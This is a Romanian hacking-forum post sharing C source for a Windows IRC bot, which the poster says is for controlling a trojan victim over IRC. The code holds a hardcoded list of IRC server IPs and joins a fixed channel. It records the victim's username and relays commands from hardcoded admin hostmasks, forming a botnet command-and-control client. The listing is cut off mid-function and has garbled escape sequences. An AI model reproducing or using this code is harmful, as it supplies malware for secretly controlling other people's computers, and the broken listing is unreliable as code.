Jump to content
SlicK

IRC bot

Recommended Posts

Posted

Un simplu bot de irc pentru windows. Util atunci cand vrei sa controlezi victima unui troian prin irc.

#include <windows.h>

#include <winsock.h>

#include <stdio.h>

bool IsAdmin(char String[1024]); // declaram functia

int main()

{

char *Server[100]; //ipurile serverelor de irc

int Port[30]; // si porturile

Server[0]="38.113.209.54"; Port[0]=6667; //setam fiecare ip si port in parte

Server[1]="64.18.128.86"; Port[1]=6667;

Server[2]="64.161.255.200"; Port[2]=6667;

Server[3]="66.175.96.86"; Port[3]=6667;

Server[4]="66.197.0.145"; Port[4]=6667;

Server[5]="69.16.172.34"; Port[5]=6667;

Server[6]="216.171.237.218"; Port[6]=6667;

Server[7]="193.109.122.67"; Port[7]=6667;

Server[8]="193.110.95.1"; Port[8]=6667;

Server[9]="194.109.20.90"; Port[9]=6667;

Server[10]="195.47.220.2"; Port[10]=6667;

Server[11]="195.54.102.4"; Port[11]=6667;

Server[12]="195.68.221.221"; Port[12]=6667;

Server[13]="195.68.221.222"; Port[13]=6667;

Server[14]="195.144.12.5"; Port[14]=6667;

Server[15]="195.197.175.21"; Port[15]=6667;

Server[16]="195.204.1.130"; Port[16]=6667;

Server[17]="195.204.1.132"; Port[17]=6667;

Server[18]="129.27.9.248"; Port[18]=6667;

Server[19]="161.53.178.240"; Port[19]=6667;

char BaseChan[MAX_PATH]="#wbot"; //canalul initial unde intra botul

char Chars[26]={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','x','y','z','w'};

int ServerPos=0; //pozitia in lista de servere

WSADATA wsd;

SOCKET sock;

struct sockaddr_in sockadd;

bool Continue=false;

char RecvBuff[1024]="";

char Nick[9]="";

char UserName[100]="";

char SendPong[MAX_PATH];

char SendNick[MAX_PATH];

char SendUser[MAX_PATH];

char SendChan[MAX_PATH];

char SendRaw[MAX_PATH];

char CmdStr[MAX_PATH];

char Command[MAX_PATH];

DWORD nUserName=sizeof(UserName);

GetUserName(UserName,&nUserName); // extragem numele usrului care a rulat programul

while(1)

{

sockadd.sin_family=AF_INET;

sockadd.sin_port=htons(Port[serverPos]);

sockadd.sin_addr.s_addr=inet_addr(Server[serverPos]);

int ws=WSAStartup(MAKEWORD(2,2),&wsd);

if(ws==NO_ERROR)

{

sock=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,0,0,0);

if(sock!=INVALID_SOCKET)

{

if(connect(sock,(SOCKADDR*)&sockadd,sizeof(sockadd))!= SOCKET_ERROR) //ne conectam la server

{

for(int i=0 ; i<8; i++) { Nick[i]=Chars[rand()%26]; } // creem un string cu caractere random(nick-ul)

wsprintf(SendNick,"NICK %srn",Nick); //creem requestul pentru nick

send(sock,SendNick,strlen(SendNick),0); //trimitem requestul

wsprintf(SendUser,"USER %s %s@yahoo.com %s :%s is the best!rn",UserName,UserName,UserName,UserName); //creem requestul pt user

send(sock,SendUser,strlen(SendUser),0); //trimitem requestul

while(recv(sock,RecvBuff,sizeof(RecvBuff),0)>=0) //cat timp suntem conectati la server

{

Continue=false;

strtok(RecvBuff,"r");

if(strncmp("PING :",RecvBuff,6)==0) // daca serverul trimite un ping

{

strncpy(RecvBuff,"PONG :",6); // raspundem cu pong

wsprintf(SendPong,"%srn",RecvBuff);

send(sock,SendPong,strlen(SendPong),0);

}

if(strstr(RecvBuff,"431") || strstr(RecvBuff,"432") || strstr(RecvBuff,"433") || strstr(RecvBuff,"436")) // eroare la nick

{

for(int i=0 ; i<8; i++) { Nick[i]=Chars[rand()%25]; } //creem un nou nick random

wsprintf(SendNick,"NICK %srn",Nick);

send(sock,SendNick,strlen(SendNick),0);

}

else if(strstr(RecvBuff,"ERROR") || strstr(RecvBuff,"-lined")) { Continue=false; break; } // eroare sau G-lined/Klined,etc..

else if(strstr(RecvBuff,"254") || strstr(RecvBuff,"004")) { Continue=true; break; } // totul e ok

ZeroMemory(RecvBuff,sizeof(RecvBuff));

}

if(Continue==true) // daca totul e ok

{

wsprintf(SendChan,"JOIN %srn",BaseChan); //creem requestul pentru join

send(sock,SendChan,strlen(SendChan),0); //trimitem requestul

while(recv(sock,RecvBuff,sizeof(RecvBuff),0)>=0) //cat timp suntem conectati la server

{

strtok(RecvBuff,"n");

if(strncmp("PING :",RecvBuff,6)==0)

{

strncpy(RecvBuff,"PONG :",6);

wsprintf(SendPong,"%srn",RecvBuff);

send(sock,SendPong,strlen(SendPong),0);

}

else if(strstr(RecvBuff,"PRIVMSG")) // la mesaje(chan sau prv)

{

if(IsAdmin(RecvBuff)==true) //daca cine trimite mesajul este un admin

{

ZeroMemory(CmdStr,sizeof(CmdStr));

int c=0,pos=strcspn(RecvBuff+1,":");

for(int i=pos+2;i<strlen(RecvBuff);i++) CmdStr[c++]=RecvBuff[i];

if(CmdStr[0]=='$')

{

ZeroMemory(Command,sizeof(Command));

int c=0,pos=strcspn(CmdStr," ");

for(int i=0;i<pos;i++) Command[c++]=CmdStr[i];

if(strcmp(Command,"$raw")==0)

{

wsprintf(SendRaw,"%srn",strchr (CmdStr,' ')); // creem requestul cu comanda trimisa de admin

send(sock,SendRaw,strlen(SendRaw),0); //trimitem requestul

}

}

}

}

ZeroMemory(RecvBuff,sizeof(RecvBuff));

}

closesocket(sock); //inchidem socketul

WSACleanup();

if(ServerPos<19) ServerPos++; else ServerPos=0; // trecem la urmatorul server ( 19=nr de servere)

}

else

{

closesocket(sock);

WSACleanup();

if(ServerPos<19) ServerPos++; else ServerPos=0;

}

}

else

{

WSACleanup();

if(ServerPos<19) ServerPos++; else ServerPos=0;

Sleep(10000);

}

} else { WSACleanup(); return 0; }

} else { return 0; }

}

}

bool IsAdmin(char String[1024]) // determina daca mesajul vine din partea unui admin

{

char *Admin[10];

char WhoSent[MAX_PATH];

int wsc=0;

int pos1=strcspn(String,"@");

int pos2=strcspn(String," ");

Admin[0]="admina.users.undernet.org";

Admin[1]="adminb.users.undernet.org";

Admin[2]="adminc.users.undernet.org";

for(int i=pos1+1; i<pos2; i++) { WhoSent[wsc]=String[i]; wsc++; }

WhoSent[wsc]='

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...